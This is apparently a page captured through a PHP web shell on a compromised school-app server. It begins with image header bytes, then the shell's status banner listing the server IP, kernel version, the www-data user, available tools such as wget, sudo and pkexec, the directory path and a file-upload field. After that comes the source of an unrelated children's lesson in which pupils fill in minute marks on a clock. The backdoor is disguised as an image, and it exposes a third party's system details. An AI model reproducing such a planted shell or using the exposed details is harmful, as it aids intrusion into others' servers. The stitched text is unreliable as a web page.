????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.107 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old5/Html/LevelC/Category2/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<title>Fill in the minutes on the clock</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<script>
function page_preLoad()
{
shared_setDeviceTypeLevelCategoryLastLesson(Level.C, Category.No2);
shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.C, Category.No2, 8), true, true);
shared_setFooterTable('id_tblFooter', true, true, true, true, true);
var ids_headings = ['id_td_heading1'];
shared_adjust_fontSize_for_ids_all_devices(ids_headings, 70);
}
function page_onLoad()
{
addCanvasedMinutesLines();
loadClock('id_td1', false, 'topLeft');
}
function addCanvasedMinutesLines()
{
var divInnerHtml = '';
for (var nthLine = 1; nthLine <= 60; nthLine++)
{
if ((nthLine % 5) != 0)
{
var id_canvas = 'id_minutesLine' + nthLine;
divInnerHtml += '<canvas id="' + id_canvas + '" style="position:absolute" onClick="click_canvasMinuteLine(\'' + id_canvas + '\')"></canvas>';
}
}
var id_minutesLines = 'id_divMinutesLines';
document.getElementById(id_minutesLines).innerHTML = divInnerHtml;
}
function click_canvasMinuteLine(id_canvas)
{
var eCanvas = document.getElementById(id_canvas);
if (eCanvas.isHiddenLine)
{
var eCanvasContext = eCanvas.getContext("2d");
eCanvasContext.moveTo(eCanvas.width * 0.2, eCanvas.height / 2.0);
eCanvasContext.lineTo(eCanvas.width * 0.8, eCanvas.height / 2.0);
eCanvasContext.strokeStyle = 'blue';
eCanvasContext.fillStyle = 'green';
eCanvasContext.lineWidth = (shared_currentDeviceOS == shared_deviceOS_Android) ? 4 : 2;
eCanvasContext.stroke();
eCanvas.isHiddenLine = false;
}
}
function btnHome_click()
{
shared_btnHomeCategories_click('LevelC');
}
function btnPrevious_click()
{
window.location = 'LevelCCat2Lesson07.html';
}
function btnNext_click()
{
window.location = 'LevelCCat2Lesson09.html';
}
function getPoint(pFromPoint, angleInDeg, distance)
{
var returnPoint = new Point();
var pi = 3.142857;
var angleInRad = angleInDeg * pi / 180.0;
returnPoint.x = pFromPoint.x + distance * Math.cos(angleInRad);
returnPoint.y = pFromPoint.y + distance * Math.sin(angleInRad);
return (returnPoint);
}
function loadClock(id_td, isCirclesRequired, circlesPosition)
{
var eTd = document.getElementById(id_td);
var eTdRectangle = eTd.getBoundingClientRect();
var widthTd = eTdRectangle.width;
var heightTd = eTdRectangle.height;
var bigCircleSquareWidthHeight = Math.min(widthTd, heightTd);
//bigCircleSquareWidthHeight *= 0.9;//Original
//Newly added
if (shared_currentDeviceOS == shared_deviceOS_Android)
{
bigCircleSquareWidthHeight *= 0.97;
}
else
{
bigCircleSquareWidthHeight *= 0.90;
}
var canvasSmallCircleToBorderGap = 2.0;
var bigCircleCanvasWidthOrHeightHalf = bigCircleSquareWidthHeight / 2.0;
var bigCircleRadius = bigCircleCanvasWidthOrHeightHalf - 5.0;
var smallCircleCanvasWidthHeight = (bigCircleCanvasWidthOrHeightHalf / 4.0);
var smallCirclesRadius = (smallCircleCanvasWidthHeight / 2.0) - canvasSmallCircleToBorderGap;
var nCircles = 12;
var angleCircleToCircle = 360.0 / nCircles;
var minutesLineBoxWidth = smallCircleCanvasWidthHeight / 3;
var minutesLineBoxHeight = smallCircleCanvasWidthHeight / 3;
var minutesLineLength = minutesLineBoxHeight;
var eHeader = document.getElementById('id_tblHeader');
var centerPoint = new Point((widthTd / 2.0) + eTdRectangle.left, (heightTd / 2.0) + eTdRectangle.top);
var angleInDeg = 0;
var distance = bigCircleRadius - (smallCircleCanvasWidthHeight / 2.0);
var idBigCircle = 'id_bigCircle';
var eBigCircle = document.getElementById(idBigCircle);
eBigCircle.width = bigCircleSquareWidthHeight;
eBigCircle.height = bigCircleSquareWidthHeight;
eBigCircle.style.left = (centerPoint.x - bigCircleCanvasWidthOrHeightHalf)+ 'px';
eBigCircle.style.top = (centerPoint.y - bigCircleCanvasWidthOrHeightHalf)+ 'px';
eBigCircle.style.backgroundColor = shared_colorOlive;
setBigCircleInfo(idBigCircle, bigCircleCanvasWidthOrHeightHalf, bigCircleCanvasWidthOrHeightHalf, bigCircleRadius);
var number = 3;
for (var nthCanvas = 1; nthCanvas <= nCircles; nthCanvas++)
{
var point = getPoint(centerPoint, angleInDeg, distance);
var idCanvas = 'id_dropBox_smallCircle' + nthCanvas;
var eSmallCircle = document.getElementById(idCanvas);
eSmallCircle.width = smallCircleCanvasWidthHeight;
eSmallCircle.height = smallCircleCanvasWidthHeight;
eSmallCircle.style.left = (point.x - (smallCircleCanvasWidthHeight / 2.0)) + 'px';
eSmallCircle.style.top = (point.y - (smallCircleCanvasWidthHeight / 2.0)) + 'px';
eSmallCircle.circlesRadius = smallCirclesRadius;
setSmallCircleInfo(idCanvas, smallCirclesRadius, canvasSmallCircleToBorderGap, isCirclesRequired, number);
if (!(isCirclesRequired))
{
number++;
if (number > nCircles)
{
number = 1;
}
}
angleInDeg += angleCircleToCircle;
}
var minutesLinesAngleInDeg = 6;
var minutesLinesDistance = distance * 1.01;
for (var nthCanvas = 1; nthCanvas <= 60; nthCanvas++)//60
{
if ((nthCanvas % 5) != 0)
{
var point = getPoint(centerPoint, minutesLinesAngleInDeg, minutesLinesDistance);
var idCanvas = 'id_minutesLine' + nthCanvas;
var eMinutesLine = document.getElementById(idCanvas);
eMinutesLine.width = minutesLineBoxWidth;
eMinutesLine.height = minutesLineBoxHeight;
eMinutesLine.style.left = (point.x - (minutesLineBoxWidth / 2.0)) + 'px';
eMinutesLine.style.top = (point.y - (minutesLineBoxHeight / 2.0)) + 'px';
//eMinutesLine.style.backgroundColor = 'orange';
setMinutesLineInfo(idCanvas, minutesLinesAngleInDeg);
}
minutesLinesAngleInDeg += 6;
}
var dotCircleDia = smallCirclesRadius / 2.5;
var dotCircleRadius = dotCircleDia / 2.0;
var idDotCircle = 'id_dotCircle';
var eDotCircle = document.getElementById(idDotCircle);
eDotCircle.width = dotCircleDia + 2;
eDotCircle.height = dotCircleDia + 2;
eDotCircle.style.left = (centerPoint.x - dotCircleRadius - 1) + 'px';
eDotCircle.style.top = (centerPoint.y - dotCircleRadius - 1) + 'px';
setDotCircleInfo(idDotCircle, dotCircleRadius, dotCircleRadius, dotCircleRadius);
}
function setBigCircleInfo(id_circle, positionX, positionY, circlesRadius)
{
var eDropBoxBigCircle = document.getElementById(id_circle);
var eDropBoxBigCircleContext = eDropBoxBigCircle.getContext("2d");
eDropBoxBigCircleContext.beginPath();
eDropBoxBigCircleContext.arc(positionX, positionY, circlesRadius, 0, 2*Math.PI);
eDropBoxBigCircleContext.stroke();
eDropBoxBigCircleContext.fillStyle = '#F2F2F2';//Light gray
eDropBoxBigCircleContext.fill();
}
function setSmallCircleInfo(id_circle, circlesRadius, canvasSmallCircleToBorderGap, isCirclesRequired, number)
{
var eDropBoxSmallCircle = document.getElementById(id_circle);
var eDropBoxSmallCircleContext = eDropBoxSmallCircle.getContext("2d");
eDropBoxSmallCircleContext.beginPath();
if (isCirclesRequired)
{
eDropBoxSmallCircleContext.arc(circlesRadius + canvasSmallCircleToBorderGap, circlesRadius + canvasSmallCircleToBorderGap, circlesRadius , 0, 2*Math.PI);
eDropBoxSmallCircleContext.stroke();
}
else
{
var xPosition = number < 10 ? (circlesRadius * 1.15) : circlesRadius;
eDropBoxSmallCircleContext.font = circlesRadius + 'px Arial Rounded MT Bold';
eDropBoxSmallCircleContext.fillStyle = 'black';
eDropBoxSmallCircleContext.textAlign = 'center';
eDropBoxSmallCircleContext.textBaseline = 'middle';
eDropBoxSmallCircleContext.fillText(number, xPosition, circlesRadius);
}
}
function setDotCircleInfo(id_circle, positionX, positionY, circlesRadius)
{
var eDropBoxDotCircle = document.getElementById(id_circle);
var eDropBoxDotContext = eDropBoxDotCircle.getContext("2d");
eDropBoxDotContext.beginPath();
eDropBoxDotContext.arc(positionX + 1, positionY + 1, circlesRadius, 0, 2*Math.PI);
eDropBoxDotContext.fillStyle = 'black';
eDropBoxDotContext.fill();
}
function setMinutesLineInfo(id_MinutesLine, angle)
{
var eMinutesLine = document.getElementById(id_MinutesLine);
eMinutesLine.isHiddenLine = true;
var width = eMinutesLine.width;
var height = eMinutesLine.height;
var eMinutesLineContext = eMinutesLine.getContext("2d");
eMinutesLineContext.translate(width / 2.0, height / 2.0);
eMinutesLineContext.rotate(angle * (Math.PI / 180.0));
eMinutesLineContext.translate(- width / 2.0, - height / 2.0);
}
function btnValidate_click()
{
var nMinuteLines = 0;
for (var nthLine = 1; nthLine <= 60; nthLine++)
{
if ((nthLine % 5) != 0)
{
var id_minutesLine = 'id_minutesLine' + nthLine + '';
var eMinutesLine = document.getElementById(id_minutesLine);
if (eMinutesLine.isHiddenLine == false)
{
nMinuteLines++;
}
}
}
if (nMinuteLines == 48)
{
shared_show_claps_animation('shared_id_div_claps_image');
}
}
</script>
</head>
<body onload="page_onLoad()">
<div id="shared_id_div_claps_image">
</div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%">
<tr>
<td align="center">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr height="5%">
<td id="id_td_heading1" class="shared_style_options_blue_24px_bold" style="border-top:none; border-left:none; border-right:none">
<span>Fill in the minutes on the clock (4 lines between numbers)</span>
</td>
</tr>
<tr height="*">
<td style="border-left:none; border-right:none; border-top:none">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td id="id_td1" width="50%" align="center">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0" style="border:none">
<tr height="20%">
<td align="center" valign="top" style="border:none">
<img id="id_img" src="../../../img/LevelC/Category2/LevelCCat2Lesson07/arrows.png" width="40%" height="auto" draggable="false">
</td>
</tr>
<tr height="*">
<td id="id_td1" align="center" style="border:none">
</td>
</tr>
</table>
<canvas id="id_bigCircle" style="position:absolute"></canvas>
<canvas id="id_dotCircle" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle1" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle2" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle3" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle4" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle5" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle6" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle7" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle8" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle9" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle10" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle11" style="position:absolute"></canvas>
<canvas id="id_dropBox_smallCircle12" style="position:absolute"></canvas>
<div id="id_divMinutesLines"></div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
</script>
</body>
</html>